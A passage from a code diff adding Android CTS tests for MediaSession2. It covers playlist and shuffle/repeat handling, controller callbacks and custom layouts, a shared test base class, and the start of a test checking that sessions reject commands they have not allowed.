+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testAddPlaylistItem() {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.addPlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mAddPlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testRemovePlaylistItem() {
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.removePlaylistItem(testMediaItem);
+        assertTrue(mMockAgent.mRemovePlaylistItemCalled);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    @Test
+    public void testReplacePlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mSession.replacePlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mReplacePlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        assertSame(testMediaItem, mMockAgent.mItem);
+    }
+
+    /**
+     * This also tests {@link SessionCallback#onShuffleModeChanged(
+     * MediaSession2, MediaPlaylistAgent, int)}
+     */
+    @Test
+    public void testGetShuffleMode() throws InterruptedException {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getShuffleMode() {
+                return testShuffleMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onShuffleModeChanged(MediaSession2 session,
+                    MediaPlaylistAgent playlistAgent, int shuffleMode) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(testShuffleMode, shuffleMode);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testGetShuffleMode")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyShuffleModeChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetShuffleMode() {
+        final int testShuffleMode = MediaPlaylistAgent.SHUFFLE_MODE_GROUP;
+        mSession.setShuffleMode(testShuffleMode);
+        assertTrue(mMockAgent.mSetShuffleModeCalled);
+        assertEquals(testShuffleMode, mMockAgent.mShuffleMode);
+    }
+
+    /**
+     * This also tests {@link SessionCallback#onShuffleModeChanged(
+     * MediaSession2, MediaPlaylistAgent, int)}
+     */
+    @Test
+    public void testGetRepeatMode() throws InterruptedException {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public int getRepeatMode() {
+                return testRepeatMode;
+            }
+        };
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public void onRepeatModeChanged(MediaSession2 session, MediaPlaylistAgent playlistAgent,
+                    int repeatMode) {
+                assertEquals(agent, playlistAgent);
+                assertEquals(testRepeatMode, repeatMode);
+                latch.countDown();
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(agent)
+                .setId("testGetRepeatMode")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            agent.notifyRepeatModeChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetRepeatMode() {
+        final int testRepeatMode = MediaPlaylistAgent.REPEAT_MODE_GROUP;
+        mSession.setRepeatMode(testRepeatMode);
+        assertTrue(mMockAgent.mSetRepeatModeCalled);
+        assertEquals(testRepeatMode, mMockAgent.mRepeatMode);
+    }
+
+    // TODO (jaewan): Revisit
+    @Test
+    public void testBadPlayer() throws InterruptedException {
+        // TODO(jaewan): Add equivalent tests again
+        final CountDownLatch latch = new CountDownLatch(4); // expected call + 1
+        final BadPlayer player = new BadPlayer(0);
+
+        mSession.updatePlayer(player, null, null);
+        mSession.updatePlayer(mPlayer, null, null);
+        player.notifyPlaybackState(MediaPlayerBase.PLAYER_STATE_PAUSED);
+        assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    // This bad player will keep push events to the listener that is previously
+    // registered by session.setPlayer().
+    private static class BadPlayer extends MockPlayer {
+        public BadPlayer(int count) {
+            super(count);
+        }
+
+        @Override
+        public void unregisterPlayerEventCallback(
+                @NonNull MediaPlayerBase.PlayerEventCallback listener) {
+            // No-op.
+        }
+    }
+
+    @Test
+    public void testOnCommandCallback() throws InterruptedException {
+        final MockOnCommandCallback callback = new MockOnCommandCallback();
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mPlayer = new MockPlayer(1);
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, callback).build();
+        });
+        MediaController2 controller = createController(mSession.getToken());
+        controller.pause();
+        assertFalse(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mPlayer.mPauseCalled);
+        assertEquals(1, callback.commands.size());
+        assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE,
+                (long) callback.commands.get(0).getCommandCode());
+
+        controller.play();
+        assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mPlayer.mPlayCalled);
+        assertFalse(mPlayer.mPauseCalled);
+        assertEquals(2, callback.commands.size());
+        assertEquals(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY,
+                (long) callback.commands.get(1).getCommandCode());
+    }
+
+    @Test
+    public void testOnConnectCallback() throws InterruptedException {
+        final MockOnConnectCallback sessionCallback = new MockOnConnectCallback();
+        sHandler.postAndSync(() -> {
+            mSession.close();
+            mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer)
+                    .setSessionCallback(sHandlerExecutor, sessionCallback).build();
+        });
+        MediaController2 controller = createController(mSession.getToken(), false, null);
+        assertNotNull(controller);
+        waitForConnect(controller, false);
+        waitForDisconnect(controller, true);
+    }
+
+    @Test
+    public void testOnDisconnectCallback() throws InterruptedException {
+        final CountDownLatch latch = new CountDownLatch(1);
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testOnDisconnectCallback")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public void onDisconnected(MediaSession2 session,
+                            ControllerInfo controller) {
+                        assertEquals(Process.myUid(), controller.getUid());
+                        latch.countDown();
+                    }
+                }).build()) {
+            MediaController2 controller = createController(session.getToken());
+            controller.close();
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetCustomLayout() throws InterruptedException {
+        final List<CommandButton> buttons = new ArrayList<>();
+        buttons.add(new CommandButton.Builder()
+                .setCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY))
+                .setDisplayName("button").build());
+        final CountDownLatch latch = new CountDownLatch(1);
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (mContext.getPackageName().equals(controller.getPackageName())) {
+                    mSession.setCustomLayout(controller, buttons);
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testSetCustomLayout")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .build()) {
+            if (mSession != null) {
+                mSession.close();
+                mSession = session;
+            }
+            final ControllerCallback callback = new ControllerCallback() {
+                @Override
+                public void onCustomLayoutChanged(MediaController2 controller2,
+                        List<CommandButton> layout) {
+                    assertEquals(layout.size(), buttons.size());
+                    for (int i = 0; i < layout.size(); i++) {
+                        assertEquals(layout.get(i).getCommand(), buttons.get(i).getCommand());
+                        assertEquals(layout.get(i).getDisplayName(),
+                                buttons.get(i).getDisplayName());
+                    }
+                    latch.countDown();
+                }
+            };
+            final MediaController2 controller =
+                    createController(session.getToken(), true, callback);
+            assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testSetAllowedCommands() throws InterruptedException {
+        final SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY));
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE));
+        commands.addCommand(new SessionCommand2(SessionCommand2.COMMAND_CODE_PLAYBACK_STOP));
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onAllowedCommandsChanged(MediaController2 controller,
+                    SessionCommandGroup2 commandsOut) {
+                assertNotNull(commandsOut);
+                Set<SessionCommand2> expected = commands.getCommands();
+                Set<SessionCommand2> actual = commandsOut.getCommands();
+
+                assertNotNull(actual);
+                assertEquals(expected.size(), actual.size());
+                for (SessionCommand2 command : expected) {
+                    assertTrue(actual.contains(command));
+                }
+                latch.countDown();
+            }
+        };
+
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        ControllerInfo controllerInfo = getTestControllerInfo();
+        assertNotNull(controllerInfo);
+
+        mSession.setAllowedCommands(controllerInfo, commands);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSendCustomAction() throws InterruptedException {
+        final SessionCommand2 testCommand = new SessionCommand2(
+                SessionCommand2.COMMAND_CODE_PLAYBACK_PREPARE);
+        final Bundle testArgs = new Bundle();
+        testArgs.putString("args", "testSendCustomAction");
+
+        final CountDownLatch latch = new CountDownLatch(2);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                    Bundle args, ResultReceiver receiver) {
+                assertEquals(testCommand, command);
+                assertTrue(TestUtils.equals(testArgs, args));
+                assertNull(receiver);
+                latch.countDown();
+            }
+        };
+        final MediaController2 controller =
+                createController(mSession.getToken(), true, callback);
+        // TODO(jaewan): Test with multiple controllers
+        mSession.sendCustomCommand(testCommand, testArgs);
+
+        ControllerInfo controllerInfo = getTestControllerInfo();
+        assertNotNull(controllerInfo);
+        // TODO(jaewan): Test receivers as well.
+        mSession.sendCustomCommand(controllerInfo, testCommand, testArgs, null);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testNotifyError() throws InterruptedException {
+        final int errorCode = MediaSession2.ERROR_CODE_NOT_AVAILABLE_IN_REGION;
+        final Bundle extras = new Bundle();
+        extras.putString("args", "testNotifyError");
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onError(MediaController2 controller, int errorCodeOut, Bundle extrasOut) {
+                assertEquals(errorCode, errorCodeOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                latch.countDown();
+            }
+        };
+        final MediaController2 controller = createController(mSession.getToken(), true, callback);
+        // TODO(jaewan): Test with multiple controllers
+        mSession.notifyError(errorCode, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    private ControllerInfo getTestControllerInfo() {
+        List<ControllerInfo> controllers = mSession.getConnectedControllers();
+        assertNotNull(controllers);
+        for (int i = 0; i < controllers.size(); i++) {
+            if (Process.myUid() == controllers.get(i).getUid()) {
+                return controllers.get(i);
+            }
+        }
+        fail("Failed to get test controller info");
+        return null;
+    }
+
+    public class MockOnConnectCallback extends SessionCallback {
+        @Override
+        public SessionCommandGroup2 onConnect(MediaSession2 session,
+                ControllerInfo controllerInfo) {
+            if (Process.myUid() != controllerInfo.getUid()) {
+                return null;
+            }
+            assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+            assertEquals(Process.myUid(), controllerInfo.getUid());
+            assertFalse(controllerInfo.isTrusted());
+            // Reject all
+            return null;
+        }
+    }
+
+    public class MockOnCommandCallback extends SessionCallback {
+        public final ArrayList<SessionCommand2> commands = new ArrayList<>();
+
+        @Override
+        public boolean onCommandRequest(MediaSession2 session, ControllerInfo controllerInfo,
+                SessionCommand2 command) {
+            assertEquals(mContext.getPackageName(), controllerInfo.getPackageName());
+            assertEquals(Process.myUid(), controllerInfo.getUid());
+            assertFalse(controllerInfo.isTrusted());
+            commands.add(command);
+            if (command.getCommandCode() == SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE) {
+                return false;
+            }
+            return true;
+        }
+    }
+
+    private static void assertMediaItemListEquals(List<MediaItem2> a, List<MediaItem2> b) {
+        if (a == null || b == null) {
+            assertEquals(a, b);
+        }
+        assertEquals(a.size(), b.size());
+
+        for (int i = 0; i < a.size(); i++) {
+            MediaItem2 aItem = a.get(i);
+            MediaItem2 bItem = b.get(i);
+
+            if (aItem == null || bItem == null) {
+                assertEquals(aItem, bItem);
+                continue;
+            }
+
+            assertEquals(aItem.getMediaId(), bItem.getMediaId());
+            assertEquals(aItem.getFlags(), bItem.getFlags());
+            TestUtils.equals(aItem.getMetadata().toBundle(), bItem.getMetadata().toBundle());
+
+            // Note: Here it does not check whether DataSourceDesc are equal,
+            // since there DataSourceDec is not comparable.
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
new file mode 100644
index 0000000..047f2cd
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2TestBase.java
@@ -0,0 +1,294 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.content.Context;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaSession2.CommandButton;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.os.Bundle;
+import android.os.HandlerThread;
+import android.os.ResultReceiver;
+
+import androidx.annotation.CallSuper;
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Base class for session test.
+ */
+abstract class MediaSession2TestBase {
+    // Expected success
+    static final int WAIT_TIME_MS = 1000;
+
+    // Expected timeout
+    static final int TIMEOUT_MS = 500;
+
+    static TestUtils.SyncHandler sHandler;
+    static Executor sHandlerExecutor;
+
+    Context mContext;
+    private List<MediaController2> mControllers = new ArrayList<>();
+
+    interface TestControllerInterface {
+        ControllerCallback getCallback();
+    }
+
+    interface WaitForConnectionInterface {
+        void waitForConnect(boolean expect) throws InterruptedException;
+        void waitForDisconnect(boolean expect) throws InterruptedException;
+    }
+
+    @BeforeClass
+    public static void setUpThread() {
+        if (sHandler == null) {
+            HandlerThread handlerThread = new HandlerThread("MediaSession2TestBase");
+            handlerThread.start();
+            sHandler = new TestUtils.SyncHandler(handlerThread.getLooper());
+            sHandlerExecutor = (runnable) -> {
+                sHandler.post(runnable);
+            };
+        }
+    }
+
+    @AfterClass
+    public static void cleanUpThread() {
+        if (sHandler != null) {
+            sHandler.getLooper().quitSafely();
+            sHandler = null;
+            sHandlerExecutor = null;
+        }
+    }
+
+    @CallSuper
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @CallSuper
+    public void cleanUp() throws Exception {
+        for (int i = 0; i < mControllers.size(); i++) {
+            mControllers.get(i).close();
+        }
+    }
+
+    final MediaController2 createController(SessionToken2 token) throws InterruptedException {
+        return createController(token, true, null);
+    }
+
+    final MediaController2 createController(@NonNull SessionToken2 token,
+            boolean waitForConnect, @Nullable ControllerCallback callback)
+            throws InterruptedException {
+        TestControllerInterface instance = onCreateController(token, callback);
+        if (!(instance instanceof MediaController2)) {
+            throw new RuntimeException("Test has a bug. Expected MediaController2 but returned "
+                    + instance);
+        }
+        MediaController2 controller = (MediaController2) instance;
+        mControllers.add(controller);
+        if (waitForConnect) {
+            waitForConnect(controller, true);
+        }
+        return controller;
+    }
+
+    private static WaitForConnectionInterface getWaitForConnectionInterface(
+            MediaController2 controller) {
+        if (!(controller instanceof TestControllerInterface)) {
+            throw new RuntimeException("Test has a bug. Expected controller implemented"
+                    + " TestControllerInterface but got " + controller);
+        }
+        ControllerCallback callback = ((TestControllerInterface) controller).getCallback();
+        if (!(callback instanceof WaitForConnectionInterface)) {
+            throw new RuntimeException("Test has a bug. Expected controller with callback "
+                    + " implemented WaitForConnectionInterface but got " + controller);
+        }
+        return (WaitForConnectionInterface) callback;
+    }
+
+    public static void waitForConnect(MediaController2 controller, boolean expected)
+            throws InterruptedException {
+        getWaitForConnectionInterface(controller).waitForConnect(expected);
+    }
+
+    public static void waitForDisconnect(MediaController2 controller, boolean expected)
+            throws InterruptedException {
+        getWaitForConnectionInterface(controller).waitForDisconnect(expected);
+    }
+
+    TestControllerInterface onCreateController(@NonNull SessionToken2 token,
+            @Nullable ControllerCallback callback) {
+        if (callback == null) {
+            callback = new ControllerCallback() {};
+        }
+        return new TestMediaController(mContext, token, new TestControllerCallback(callback));
+    }
+
+    // TODO(jaewan): (Can be Post-P): Deprecate this
+    public static class TestControllerCallback extends MediaController2.ControllerCallback
+            implements WaitForConnectionInterface {
+        public final ControllerCallback mCallbackProxy;
+        public final CountDownLatch connectLatch = new CountDownLatch(1);
+        public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+        TestControllerCallback(@NonNull ControllerCallback callbackProxy) {
+            if (callbackProxy == null) {
+                throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+            }
+            mCallbackProxy = callbackProxy;
+        }
+
+        @CallSuper
+        @Override
+        public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+            connectLatch.countDown();
+        }
+
+        @CallSuper
+        @Override
+        public void onDisconnected(MediaController2 controller) {
+            disconnectLatch.countDown();
+        }
+
+        @Override
+        public void waitForConnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void waitForDisconnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                Bundle args, ResultReceiver receiver) {
+            mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+        }
+
+        @Override
+        public void onPlaybackInfoChanged(MediaController2 controller,
+                MediaController2.PlaybackInfo info) {
+            mCallbackProxy.onPlaybackInfoChanged(controller, info);
+        }
+
+        @Override
+        public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+            mCallbackProxy.onCustomLayoutChanged(controller, layout);
+        }
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+        }
+
+        @Override
+        public void onPlayerStateChanged(MediaController2 controller, int state) {
+            mCallbackProxy.onPlayerStateChanged(controller, state);
+        }
+
+        @Override
+        public void onSeekCompleted(MediaController2 controller, long position) {
+            mCallbackProxy.onSeekCompleted(controller, position);
+        }
+
+        @Override
+        public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+            mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+        }
+
+        @Override
+        public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+                int state) {
+            mCallbackProxy.onBufferingStateChanged(controller, item, state);
+        }
+
+        @Override
+        public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+            mCallbackProxy.onError(controller, errorCode, extras);
+        }
+
+        @Override
+        public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+            mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+        }
+
+        @Override
+        public void onPlaylistChanged(MediaController2 controller,
+                List<MediaItem2> list, MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+        }
+
+        @Override
+        public void onPlaylistMetadataChanged(MediaController2 controller,
+                MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+        }
+
+        @Override
+        public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+            mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+        }
+
+        @Override
+        public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+            mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+        }
+    }
+
+    public class TestMediaController extends MediaController2 implements TestControllerInterface {
+        private final ControllerCallback mCallback;
+
+        public TestMediaController(@NonNull Context context, @NonNull SessionToken2 token,
+                @NonNull ControllerCallback callback) {
+            super(context, token, sHandlerExecutor, callback);
+            mCallback = callback;
+        }
+
+        @Override
+        public ControllerCallback getCallback() {
+            return mCallback;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
new file mode 100644
index 0000000..91dc369
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaSession2_PermissionTest.java
@@ -0,0 +1,545 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static android.media.MediaSession2.ControllerInfo;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PAUSE;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_PLAY;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_SEEK_TO;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYBACK_STOP;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_ADD_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REMOVE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_REPLACE_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SET_LIST_METADATA;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_PREV_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_PLAYLIST_SKIP_TO_PLAYLIST_ITEM;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_FAST_FORWARD;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PLAY_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_MEDIA_ID;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_SEARCH;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_PREPARE_FROM_URI;
+import static android.media.SessionCommand2.COMMAND_CODE_SESSION_REWIND;
+import static android.media.SessionCommand2.COMMAND_CODE_SET_VOLUME;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.annotation.NonNull;
+import android.media.MediaController2;
+import android.media.MediaItem2;
+import android.media.MediaSession2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Process;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Tests whether {@link MediaSession2} receives commands that hasn't allowed.
+ */
+@RunWith(AndroidJUnit4.class)
+@MediumTest
+@Ignore
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+public class MediaSession2_PermissionTest extends MediaSession2TestBase {
+    private static final String SESSION_ID = "MediaSession2Test_permission";
+
+    private MockPlayer mPlayer;
+    private MediaSession2 mSession;
+    private MySessionCallback mCallback;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        if (mSession != null) {
+            mSession.close();
+            mSession = null;
+        }
+        mPlayer = null;
+        mCallback = null;
+    }
+
+    private MediaSession2 createSessionWithAllowedActions(final SessionCommandGroup2 commands) {
+        mPlayer = new MockPlayer(0);
+        mCallback = new MySessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (Process.myUid() != controller.getUid()) {
+                    return null;
+                }
+                return commands == null ? new SessionCommandGroup2() : commands;
+            }
+        };
+        if (mSession != null) {
+            mSession.close();
+        }
+        mSession = new MediaSession2.Builder(mContext).setPlayer(mPlayer).setId(SESSION_ID)
+                .setSessionCallback(sHandlerExecutor, mCallback).build();
+        return mSession;
+    }
+
+    private SessionCommandGroup2 createCommandGroupWith(int commandCode) {
+        SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addCommand(new SessionCommand2(commandCode));
+        return commands;
+    }
+
+    private SessionCommandGroup2 createCommandGroupWithout(int commandCode) {
+        SessionCommandGroup2 commands = new SessionCommandGroup2();
+        commands.addAllPredefinedCommands();
+        commands.removeCommand(new SessionCommand2(commandCode));
+        return commands;
+    }
+
+    private void testOnCommandRequest(int commandCode, PermissionTestRunnable runnable)
+            throws InterruptedException {
+        createSessionWithAllowedActions(createCommandGroupWith(commandCode));
+        runnable.run(createController(mSession.getToken()));
+
+        assertTrue(mCallback.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertTrue(mCallback.mOnCommandRequestCalled);
+        assertEquals(commandCode, mCallback.mCommand.getCommandCode());
+
+        createSessionWithAllowedActions(createCommandGroupWithout(commandCode));
+        runnable.run(createController(mSession.getToken()));
+
+        assertFalse(mCallback.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        assertFalse(mCallback.mOnCommandRequestCalled);
+    }
+
+    @Test
+    public void testPlay() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_PLAY, (controller) -> {
+            controller.play();
+        });
+    }
+
+    @Test
+    public void testPause() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_PAUSE, (controller) -> {
+            controller.pause();
+        });
+    }
+
+    @Test
+    public void testStop() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_STOP, (controller) -> {
+            controller.stop();
+        });
+    }
+
+    @Test
+    public void testFastForward() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SESSION_FAST_FORWARD, (controller) -> {
+            controller.fastForward();
+        });
+    }
+
+    @Test
+    public void testRewind() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_SESSION_REWIND, (controller) -> {
+            controller.rewind();
+        });
+    }
+
+    @Test
+    public void testSeekTo() throws InterruptedException {
+        final long position = 10;
+        testOnCommandRequest(COMMAND_CODE_PLAYBACK_SEEK_TO, (controller) -> {
+            controller.seekTo(position);
+        });
+    }
+
+    @Test
+    public void testSkipToNext() throws InterruptedException {
+        testOnCommandRequest(COMMAND_CODE_PLAYLIST_SKIP_NEXT_ITEM, (controller) -> {
+            controller.skipToNextItem();
+        });
+    }
+
+    @Test
